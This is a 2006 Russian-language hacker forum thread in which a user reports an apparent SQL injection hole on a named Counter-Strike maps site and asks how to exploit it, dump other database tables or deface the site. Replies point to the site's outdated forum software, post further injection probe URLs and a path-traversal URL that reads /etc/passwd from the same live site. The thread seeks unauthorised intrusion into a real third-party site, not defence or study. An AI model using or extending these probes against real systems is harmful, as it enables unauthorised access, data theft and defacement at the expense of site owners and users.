нашёл косяк. с чего начать?

Discussion in 'PHP' started by Дикс, 10 Jul 2006.

  1. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    http://cs-maps.org/index.php?page=maplist.php&type=dm&source=N&sort=date'&pageno=1

    аж грустно оттого что я такой нуб.
    пожалуйста, деды, расскажите поэтапно что вы бы сделали в данной ситуации и что можно из этого получить?
     
    2 people like this.
  2. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    взрывай стало быть
     
  3. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,193
    Reputations:
    430
    Хм, валить сайт по контре, мне как постоянному игроку обидно... но форум там вроде phpBB 2.0.19... так что можешь попробовать...
     
  4. Morph

    Morph Пирожок с Маком

    Joined:
    13 Aug 2004
    Messages:
    790
    Likes Received:
    113
    Reputations:
    169
    Сорри за оффтоп:
    Но мой тебе совет раскури и поделись ближним своим.
     
  5. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    мля, помощи от вас.. ппц..
    не хочу я никого валить, просто может дадите ссылку на толковый тутор, как из подобной уязвимости другие таблицы базы посмотреть или может дефейснуть
     
  6. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    Покури его :)


    Хочеш повесилиться ,добавь кавычку и получи прикол:
    http://cs-maps.org/index.php?page=maplist.php&type=dm&source=N&sort=date'&pageno=1'
     
  7. bandera

    bandera Banned

    Joined:
    2 Jun 2006
    Messages:
    58
    Likes Received:
    37
    Reputations:
    11
    Ты чо гонишь, ты первый пост читал?
    Хочешь повеселиться убери кавычку после date, зделай по своему и получи прикол:
    http://cs-maps.org/index.php?page=maplist.php&type=dm&source=N&sort=date&pageno=1'

    Как видишь нихера нету млять...
     
    #7 bandera, 11 Jul 2006
    Last edited: 11 Jul 2006
  8. CyberPunk

    CyberPunk Elder - Старейшина

    Joined:
    25 May 2006
    Messages:
    115
    Likes Received:
    38
    Reputations:
    10
    http://cs-maps.org/index.php?page=../../../../../../../../../etc/passwd&type=dm&source=N&sort=date&pageno=2
    Вот вроде как ПХП инклуд есть с фильтром на символы.
     
  9. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    ну хоть что-то в тему. CyberPunk держи плюс!